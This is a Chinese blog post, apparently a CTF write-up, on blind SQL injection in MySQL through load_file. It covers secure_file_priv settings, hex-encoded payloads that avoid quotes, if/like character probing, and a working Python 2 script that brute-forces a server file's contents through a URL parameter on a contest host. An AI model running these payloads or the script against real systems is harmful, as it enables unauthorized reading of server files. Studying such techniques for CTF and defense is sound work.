• load_file进行mysql盲注+mysql的一些tip


    1、前言

    今天看了一道安恒杯的ctf题,里面load_file盲注的思路看起来有点意思,该思路没有用单引号,使用到sql查询文件内容。

    1.mysqld启动

    1.在利用mysql进行sql注入的测试中,遇到一些mysql启动上的问题,可以在mysql的启动或控制台日志查看
    输入命令

    mysqld --console
    


    2.其次是有时候不存在端口占用又无法启动mysqld的情况,需要进入services中将mysqla停掉,
    做个记录,原因尚未探寻,如图,停掉箭头所指的mysqla

    2、load_file开启

    当前使用的是mysql5.7版本,需要进入my.ini中增加一行

    默认开启所有目录尚未调试过,参考文章的链接如下
    https://www.cnblogs.com/hackxf/p/8975501.html
    针对其中提到一些重点进行记录,防止链接失效

    secure_file_priv选项
    secure_file_priv 
      1、限制mysqld 不允许导入 | 导出
            --secure_file_prive=null
      2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
          --secure_file_priv=/tmp/
      3、不对mysqld 的导入 | 导出做限制
                  --secure_file_priv= 
    linux
    cat /etc/my.cnf
        [mysqld]
        secure_file_priv= 
    win
        my.ini
           [mysqld]
         secure_file_priv=
    查看secure_file_priv
    show global variables like '%secure%';
    

    3、mysql的load_file盲注

    1.思路

    当我们遇到不能使用select的情况下,可以使用load_file读取文件查询文件内容,当然,这个使用的条件自然是很苛刻的,正常来说高版本的secure_file_priv不会开启。
    1)读取文件demo

    select load_file('c:sql.txt');
    

    2)利用hex编码就可以减少或者不使用单引号

    select hex(load_file(0x633a5c73716c2e747874))
    

    3)利用if+like进行文件内容探测
    首先使用if表达式来进行回显判断,比如

    if(exp,1,0)
    

    exp指代前面的表达式
    然后使用like进行字符判断,比如like 'a%'就可以判断以a字符开头的字符内容是否存在。

    if(exp,1,0)like(0x*25)
    

    *这里指任意值
    那么我们只要使用like去判断是否存在某字符开头,存在则加上这一次的字符进行下一次判断,直到符合的字符串出现。这样循环后,就可以得到最终的文件内容。问题是
    停止条件是什么?可以这样想,我们使用所有的可见字符去爆破一个字母,当可见字符用完后,依旧没有得到结果,说明不存在这样的字符串,此时可以将它当做条件结束。
    demo:

    字符串abcde
    判断abcde中是否存在a开头的字符,存在则结束本次判断,不存在则利用下一个可见字符判断,直到用完为止
    存在a开头字符串,那么接下来判断aa是否存在,判断条件同上。
    结束条件为所有可见字符用完为止
    
    2.实现exp

    python2

    #coding:utf-8
     import requests
     import string
     payload=string.printable
     payload=list(payload)
     file =""
     db = ""
     while True:
         n = 1
         end = len(payload)
         #print end
         for i in payload:
             req = requests.session()
             header = {
                 "Cookie":"__guid=206886163.707362614897664800.1543048794439.3918;PHPSESSID=4e6p8mktq1b5p84jnndsvqv166"
             }
             exp= "if(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))like(0x{temp}25),1,2)"
             url = "http://101.71.29.5:10015/user/user.php?id="+exp
             i = i.encode("hex")
             url = url.format(temp=db+i)
             res = req.get(url=url,headers=header)
             #print res.status_code
             if "user_id:1" in res.text:
                 print url
                 db = db + i
                 file = file + i.decode("hex")
                 print file
                 break
             n = n + 1
             if n == end:
                 print db
                 exit(0)
    来源https://www.shuzhiduo.com/A/KE5Qvje0dL/
    

    参考:
    https://www.shuzhiduo.com/A/KE5Qvje0dL/
    https://www.cnblogs.com/hackxf/p/8975501.html

  • 相关阅读:
    Cannot get a NUMERIC value from a STRING cell? 已解决
    Android Studio快捷键大全
    mysql索引
    eclipse中出现错误 Syntax error, insert "}" to complete Block
    function
    IGS OPC UA 配置
    IFIX 5.9 历史数据 曲线 (非SQL模式)
    IFIX 5.9 报警存sql
    IFIX 数据源 节点 标签 域名
    IFIX 目录结构
  • 原文地址:https://www.cnblogs.com/qianxinggz/p/13280788.html
Copyright © 2020-2023  润新知